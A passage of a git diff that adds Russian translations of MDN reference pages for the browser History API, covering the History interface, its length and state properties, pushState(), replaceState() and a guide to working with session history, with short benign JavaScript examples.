+</ul>
diff --git a/files/ru/web/api/history/index.html b/files/ru/web/api/history/index.html
new file mode 100644
index 0000000000..dd1a3fe80c
--- /dev/null
+++ b/files/ru/web/api/history/index.html
@@ -0,0 +1,135 @@
+---
+title: History
+slug: Web/API/History
+translation_of: Web/API/History
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><em><strong>History</strong> интерфейс позволяет манипулировать историей браузера в пределах сессии, а именно историей о посещенных страницах в пределах вкладки или фрейма загруженного внутри страницы. </em></p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>History интерфейс не наследует никакие родительские свойства.</em></p>
+
+<dl>
+ <dt>{{domxref("History.length")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает целочисленное значение типа Integer, которое характерезует собой количество записей в истории сессии, включая текущую загруженную страницу. Для примера, история новой вкладки с загруженной страницей равна 1.</dd>
+ <dt>{{domxref("History.current")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, представляющий собой активный URL элемент в истории сесcии. Это свойство никогда не было доступно для веб-контента и более не поддерживается никакими браузерами. Используйте {{domxref ("location.href")}} вместо него.</dd>
+ <dt>{{domxref("History.next")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, представляющий собой следующий URL элемент в истории сессии. Это свойство никогда не было доступно для веб-контента и более не поддерживается другими браузерами.</dd>
+ <dt>{{domxref("History.previous")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, представляющий собой предыдущий URL элемент в истории сессии. Это свойство никогда не было доступно для веб-контента и более не поддерживается другими браузерами.</dd>
+ <dt>{{domxref("History.state")}} {{readOnlyInline}} {{ gecko_minversion_inline("2.0")}}</dt>
+ <dd>Возвращает какое-либо значение, представляющее собой состояние в вершине истории стека. Это способ посмотреть на состояние без ожидания {{event("popstate")}} события.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>History интерфейс не наследует никаких родительских методов.</em></p>
+
+<dl>
+ <dt>{{domxref("History.back()")}}</dt>
+ <dd>Делает вызов предыдущей страницы из истории, если она существует. Эквивалент метода <code>history.go(-1)</code>.
+ <div class="note"><strong>Примечание</strong>: Вызов этого метода, чтобы вернуться к первой странице в истории сессии не имеет никакого эффекта и не вызывает исключений.</div>
+ </dd>
+ <dt>{{domxref("History.forward()")}}</dt>
+ <dd>Переход к следующей странице в истории сессии, то же самое действие, как и при нажатии пользователем кнопки Forward в браузере. Эквивалентно history.go(1).
+ <div class="note"><strong>Примечание:</strong> Вызов этого метода, чтобы перейти  к последней странице в истории сессии не имеет никакого эффекта и не вызывает исключений.</div>
+ </dd>
+ <dt>{{domxref("History.go()")}}</dt>
+ <dd>
+ <p>Загружает страницу из истории сессии, определяя ее положение относительно текущей страницы, например: -1 для предыдущей страницы или 1 для следующей страницы. Когда <em>integerDelta</em> выходит за предел (например, -1, когда нет ранее посещенных страниц в истории сессии), метод не делает ничего, и не вызывает исключение. Вызов Go () без параметров или с не целочисленным аргументом не имеет никакого эффекта (в отличие от Internet Explorer, <a href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">который поддерживает строки URL в качестве аргумента</a>).</p>
+ </dd>
+ <dt>{{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>Помещает полученные данные в стек истории сессии с определенным заголовком и, при наличии , URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>.
+ <div class="note"><strong>Примечание:</strong> В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">алгоритму структурированного клонирования</a>. Он позволяет передавать более широкое разнообразие объектов.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>Обновляет последнюю запись в стеке истории содержащий определенные данные, заголовок и, при наличии, URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см.<a href="/en/DOM/Manipulating_the_browser_history"> управление историей браузера</a>.
+ <div class="note"><strong>Примечание:</strong> В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">алгоритму структурированного клонирования</a>. Он позволяет передавать более широкое разнообразие объектов.</div>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{domxref("window.history")}} свойство, возвращающее историю текущей сессии.</li>
+</ul>
diff --git a/files/ru/web/api/history/length/index.html b/files/ru/web/api/history/length/index.html
new file mode 100644
index 0000000000..5dc9ef4fb2
--- /dev/null
+++ b/files/ru/web/api/history/length/index.html
@@ -0,0 +1,105 @@
+---
+title: History.length
+slug: Web/API/History/length
+tags:
+  - API
+  - HTML
+  - History API
+  - Read-only
+  - WebAPI
+  - Свойство
+  - Справка
+translation_of: Web/API/History/length
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><code><strong>History</strong></code><strong><code>.length —</code></strong><code> это свойство объекта History, доступное только для чтения, которое возвращает число (Integer), обозначающее количество элементов в истории сессии, в том числе для загруженной страницы. Например, если открыть страницу в новой вкладке это свойство вернёт 1.</code></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>length</em> = <em>history</em>.length;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var result = window.history.length; // Вернёт размер истории текущей сессии</pre>
+
+<p> </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений в {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+</ul>
diff --git a/files/ru/web/api/history/pushstate/index.html b/files/ru/web/api/history/pushstate/index.html
new file mode 100644
index 0000000000..6921944187
--- /dev/null
+++ b/files/ru/web/api/history/pushstate/index.html
@@ -0,0 +1,146 @@
+---
+title: History.pushState()
+slug: Web/API/History/pushState
+tags:
+  - API
+  - HTML DOM
+  - Web
+  - метод
+translation_of: Web/API/History/pushState
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>В <a href="/en-US/docs/Web/HTML">HTML</a> документе метод <strong><code>history.pushState()</code></strong> добавляет новое состояние в историю браузера</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="notranslate">history.pushState(<var>state</var>, <var>title</var>[, <var>url</var>])
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><strong>state object</strong> </p>
+
+<dl>
+ <dd>Объект состояния – это JavaScript-объект, связанный с новой записью в истории, созданной <code>pushState()</code>. Всякий раз, когда пользователь переходит к новому состоянию, происходит событие <code>popstate</code>, а свойство <code>state</code> этого события содержит копию объекта состояния с записями истории.</dd>
+ <dd>Объект состояния может быть чем угодно, что может быть сериализовано. Поскольку Firefox сохраняет объекты состояния на диске пользователя, чтобы их можно было восстановить после перезапуска браузера, мы накладываем ограничение в 640 тысяч символов на сериализованное представление объекта состояния. Если вы передаёте объект состояния, чьё сериализованное представление больше этого значения, метод <code>pushState()</code> выдаст исключение. Если вам нужно хранилище большего размера, следует рассмотреть использование <code>sessionStorage</code> и/или <code>localStorage</code>.</dd>
+</dl>
+
+<dl>
+ <dt><strong>title</strong></dt>
+ <dd>Заголовок - <a href="https://github.com/whatwg/html/issues/2174">все браузеры, кроме Safari, на данный момент игнорируют этот параметр</a>, но могут начать использовать в будущем. Ввиду будущих изменений метода, безопасным решением является передача пустой строки. В качестве альтернативы вы можете передать короткий заголовок для состояния, в которое переходите.</dd>
+</dl>
+
+<dl>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>Через этот параметр передаётся URL-адрес новой записи в истории. Обратите внимание, что браузер не будет пытаться загрузить данный URL сразу после вызова <code>pushState()</code>, но может попытаться сделать это позже, например, после того, как пользователь перезапустит браузер. Новый URL-адрес не обязан быть абсолютным; если он относительный, то определяется относительно текущего URL. Новый URL должен вести на тот же домен, протокол и порт, иначе <code>pushState()</code> выдаст исключение. Данный параметр не является обязательным; если он не указан, будет использоваться URL текущего документа.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Вызов <code>pushState()</code> в некоторой степени похож на установку <code>window.location = "#foo"</code>, поскольку они оба также создают и активируют ещё одну запись в истории, связанную с текущим документом.</p>
+
+<p>Но у <code>pushState()</code> есть несколько преимуществ:</p>
+
+<ul>
+ <li>Новый URL может быть любым в пределах того же домена, порта и протокола, что и текущий адрес. Тогда как настройка <code>window.location</code> оставляет вас на том же {{ domxref("document") }} лишь в том случае, если вы меняете только хэш</li>
+ <li>Менять URL не обязательно. Тогда как настройка <code>window.location = "#foo";</code> создаёт новую запись в истории, только если текущий хеш не <code>#foo</code></li>
+ <li>С новой записью в истории можно связать любые данные. В подходе, основанном на хеше, все соответствующие данные нужно кодировать в короткую строку</li>
+ <li>Если заголовок <code>title</code> впоследствии используется браузерами, эти данные могут быть использованы (независимо от, скажем, хеша).</li>
+</ul>
+
+<p>Обратите внимание, что <code>pushState()</code> никогда не вызывает событие <code>hashchange</code>, даже если новый URL отличается от старого только хешем.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Создание новой записи истории браузера, задавая <em>state</em>, <em>title</em>, и <em>url</em>.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="notranslate">const state = { 'page_id': 1, 'user_id': 5 }
+const title = ''
+const url = 'hello-world.html'
+
+history.pushState(state, title, url)</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#dom-history-pushstate", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменён в {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-pushstate", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/History_API/Working_with_the_History_API">Работа с History API</a></li>
+</ul>
diff --git a/files/ru/web/api/history/replacestate/index.html b/files/ru/web/api/history/replacestate/index.html
new file mode 100644
index 0000000000..f7c7d4268a
--- /dev/null
+++ b/files/ru/web/api/history/replacestate/index.html
@@ -0,0 +1,70 @@
+---
+title: History.replaceState()
+slug: Web/API/History/replaceState
+translation_of: Web/API/History/replaceState
+---
+<div>{{APIRef("History API")}}</div>
+
+<p>Метод <strong><code>History.replaceState()</code> </strong>изменяет текущую запись в истории, заменяя её на значения <code>stateObj</code>, <code>title</code> и <code>URL</code>, передаваемые в параметрах метода. Данный метод особенно полезен, когда вы хотите обновить объект состояния или URL текущей записи в истории в ответ на какое-то действие пользователя.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">history.replaceState(<em>stateObj</em>, <em>title</em>, [<em>url</em>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>stateObj</code></dt>
+ <dd>Объект состояния – это JavaScript-объект, связанный с записью в истории, переданной в метод <code>replaceState()</code>. Объект состояния может быть <code>null</code>.</dd>
+ <dt><code>title</code></dt>
+ <dd>Заголовок - <a href="https://github.com/whatwg/html/issues/2174" rel="noopener">все браузеры, кроме Safari, на данный момент игнорируют этот параметр</a>, но могут начать использовать в будущем. Ввиду будущих изменений метода, безопасным решением является передача пустой строки. В качестве альтернативы вы можете передать короткий заголовок для состояни, в которое переходите.</dd>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>URL-адрес записи в истории. Новый URL должен вести на тот же домен, протокол и порт, иначе pushState() выдаст исключение.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Предположим, на странице <code>http://mozilla.org/foo.html</code> выполняется следующий JavaScript-код:</p>
+
+<pre class="notranslate">let stateObj = { foo: "bar" }
+history.pushState(stateObj, "page 2", "bar.html")
+</pre>
+
+<p>Объяснение этих двух строк можно найти в приведённом выше разделе <em><a href="#Example_of_pushState_method">пример метода pushState()</a></em>.</p>
+
+<p>Далее, предположим, на странице <code>http://mozilla.org/bar.html</code> выполняется JavaScript-код:</p>
+
+<pre class="notranslate">history.replaceState(stateObj, "page 3", "bar2.html")
+</pre>
+
+<p>Это приведёт к тому, что в URL-строке отобразится адрес <code>http://mozilla.org/bar2.html</code>, но браузер не станет сразу загружать <code>bar2.html</code> и даже не станет проверять наличие этой страницы <code>bar2.html</code>.</p>
+
+<p>Теперь предположим, что пользователь переходит по адресу <code>http://www.microsoft.com</code>, а затем нажимает на кнопку <strong>"Назад"</strong>. В этом случае в URL-строке отобразится <code>http://mozilla.org/bar2.html</code>. Если же пользователь снова нажмёт на кнопку <strong>"Назад"</strong>, в URL-строке отобразится <code>http://mozilla.org/foo.html</code> и полностью обойдёт <code>bar.html</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "history.html#dom-history-replacestate", "History.replaceState()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "history.html#dom-history-replacestate", "History.replaceState()")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.History.replaceState")}}</p>
diff --git a/files/ru/web/api/history/state/index.html b/files/ru/web/api/history/state/index.html
new file mode 100644
index 0000000000..3faaa8676a
--- /dev/null
+++ b/files/ru/web/api/history/state/index.html
@@ -0,0 +1,65 @@
+---
+title: History.state
+slug: Web/API/History/state
+translation_of: Web/API/History/state
+---
+<div>{{APIRef("History API")}}</div>
+
+<div><span class="seoSummary">Свойство <strong><code>History.state</code></strong> возвращает значение последнего состояния стека истории (history stack). Этим способом можно проверить состояние не дожидаясь события </span>{{event("popstate")}}.</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">const <em>currentState</em> = history.state</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Последнее состояние стека истории. Значение равно {{jsxref("null")}} до тех пор, пока не будет применен метод {{domxref("History.pushState","pushState()")}} или {{domxref("History.replaceState","replaceState()")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Код, приведенный ниже, выводит в консоль значение <code>history.state</code> до и после применения метода {{domxref("History.pushState","pushState()")}}, который записывает значение в историю.</p>
+
+<pre class="brush: js notranslate">// Выведет null потому что мы пока не изменяли стек истории
+console.log(`History.state before pushState: ${history.state}`);
+
+// Теперь запишем какое-нибудь значение в стек
+history.pushState({name: 'Example'}, "pushState example", 'page3.html');
+
+// Выведет значение history.state, которое было записано в предыдущей строке
+console.log(`History.state after pushState: ${history.state}`);</pre>
+
+<h2 id="СпецификацииE">Спецификации<a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Web/API/History$edit#Specifications" rel="nofollow, noindex"><span>E</span></a></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-history-state", "History.state")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-state", "History.state")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.History.state")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
+</ul>
diff --git a/files/ru/web/api/history_api/index.html b/files/ru/web/api/history_api/index.html
new file mode 100644
index 0000000000..2238486e34
--- /dev/null
+++ b/files/ru/web/api/history_api/index.html
@@ -0,0 +1,119 @@
+---
+title: History API
+slug: Web/API/History_API
+tags:
+  - API
+  - DOM
+  - HTML5
+  - История
+translation_of: Web/API/History_API
+---
+<p>{{DefaultAPISidebar("History API")}}<br>
+ DOM-объект {{DOMxRef("Window")}} предоставляет доступ к истории текущей сессии браузера (не путать с <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history">историей браузерных расширений</a>) через объект {{DOMxRef("Window.history","history")}}. Он предоставляет полезные методы и свойства, которые позволяют переходить назад и вперёд по истории пользователя и манипулировать её содержимым.</p>
+
+<h2 id="Понятия_и_использование">Понятия и использование</h2>
+
+<p>Перемещение назад и вперёд по истории пользователя выполняется с помощью методов {{DOMxRef("History.back","back()")}}, {{DOMxRef("History.forward","forward()")}}, и {{DOMxRef("History.go","go()")}}.</p>
+
+<h3 id="Перемещение_вперёд_и_назад">Перемещение вперёд и назад</h3>
+
+<p>Чтобы переместиться назад по истории:</p>
+
+<pre class="brush: js notranslate">window.history.back();
+</pre>
+
+<p>Данный метод работает так, будто пользователь нажал на кнопку "Назад" на панели браузера.<br>
+ Похожим образом можно переместиться вперед (как если бы пользователь нажал на кнопку "Вперед"):</p>
+
+<pre class="brush: js notranslate">window.history.forward();
+</pre>
+
+<h3 id="Перемещение_к_определённой_странице_в_истории">Перемещение к определённой странице в истории</h3>
+
+<p>Вы можете использовать метод {{DOMxRef("History.go","go()")}} для загрузки конкретной страницы из истории сессии, определяемой её позицией относительно текущей страницы. Относительная позиция текущей страницы равняется <code>0</code>.</p>
+
+<p>Вернуться на одну страницу назад (равноценно вызову {{DOMxRef("History.back","back()")}}):</p>
+
+<pre class="brush: js notranslate">window.history.go(-1);
+</pre>
+
+<p>Перейти на одну страницу вперёд (равноценно вызову {{DOMxRef("History.forward","forward()")}})</p>
+
+<pre class="brush: js notranslate">window.history.go(1);
+</pre>
+
+<p>По такому же принципу, можно перемещаться вперед на 2 страницы, передавая аргумент <code>2</code>, и так далее.</p>
+
+<p>Кроме того, метод <code>go()</code> можно использовать для обновления текущей страницы, передавая аргумент <code>0</code> или вызывая его без аргументов:</p>
+
+<pre class="notranslate">// Обе следующих инструкции обновляют текущую страницу
+window.history.go(0)
+window.history.go()</pre>
+
+<p>Узнать количество страниц, которые находятся в стеке истории, можно, получив значение свойства <code>length</code>:</p>
+
+<pre class="brush: js notranslate">var numberOfEntries = window.history.length;
+</pre>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("History")}}</dt>
+ <dd>Позволяет манипулировать историей сессии браузера (то есть, страницами, посещёнными в той же закладке, что и текущая страница.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем примере свойству <code>onpopstate</code> назначается обработчик. А затем приводятся некоторые методы объекта истории для добавления, замени и перемещения по истории текущей вкладки браузера</p>
+
+<pre class="notranslate">window.onpopstate = function(event) {
+  alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`)
+}
+
+history.pushState({page: 1}, "title 1", "?page=1")
+history.pushState({page: 2}, "title 2", "?page=2")
+history.replaceState({page: 3}, "title 3", "?page=3")
+history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back() // alerts "location: http://example.com/example.html, state: null"
+history.go(2)  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений по сравнению с {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.History")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<h3 id="Справочники">Справочники</h3>
+
+<ul>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.onpopstate") }}</li>
+</ul>
+
+<h3 id="Руководства">Руководства</h3>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
+</ul>
diff --git a/files/ru/web/api/history_api/working_with_the_history_api/index.html b/files/ru/web/api/history_api/working_with_the_history_api/index.html
new file mode 100644
index 0000000000..b1bf87726a
--- /dev/null
+++ b/files/ru/web/api/history_api/working_with_the_history_api/index.html
@@ -0,0 +1,129 @@
+---
+title: Работа с History API
+slug: Web/API/History_API/Working_with_the_History_API
+translation_of: Web/API/History_API/Working_with_the_History_API
+---
+<p>В HTML5 стали доступны методы {{DOMxRef("History.pushState","pushState()")}} и {{DOMxRef("History.replaceState","replaceState()")}} для добавления и изменения записей в истории. Эти методыработают в сочетании с событием {{domxref("Window.onpopstate","onpopstate")}}</p>
+
+<h2 id="Добавление_и_изменение_записей_в_истории">Добавление и изменение записей в истории</h2>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>{{DOMxRef("History.pushState","pushState()")}} позволяет изменить referrer, который используется в HTTP-заголовке для {{domxref("XMLHttpRequest")}} объектов, созданных после изменения состояния. Значением referrer будет URL документа, окно которого является <code>this</code> на момент создания {{domxref("XMLHttpRequest")}} объекта.</p>
+
+<h3 id="Пример_метода_pushState">Пример метода pushState()</h3>
+
+<p>Предположим, на странице <code>http://mozilla.org/foo.html</code> выполняется следующий JavaScript-код:</p>
+
+<pre class="brush: js notranslate">let stateObj = {
+    foo: "bar",
+}
+
+history.pushState(stateObj, "page 2", "bar.html")
+</pre>
+
+<p>В результате этого в URL-строке отобразится адрес <code>http://mozilla.org/bar.html</code>, но браузер не будет загружать страницу <code>bar.html</code> и даже не будет проверять, существует ли она..</p>
+
+<p>Теперь предположим, что пользователь перешел по адресу <code>http://google.com</code> и затем нажал на кнопку "<strong>Назад</strong>". В результате этого в URL будет отображаться <code>http://mozilla.org/bar.html</code>, а <code>history.state</code> будет содержать <code>stateObj</code>. Событие popstate не будет вызвано, поскольку страница была перезагружена. Сама страница будет выглядеть как <code>bar.html</code>.</p>
+
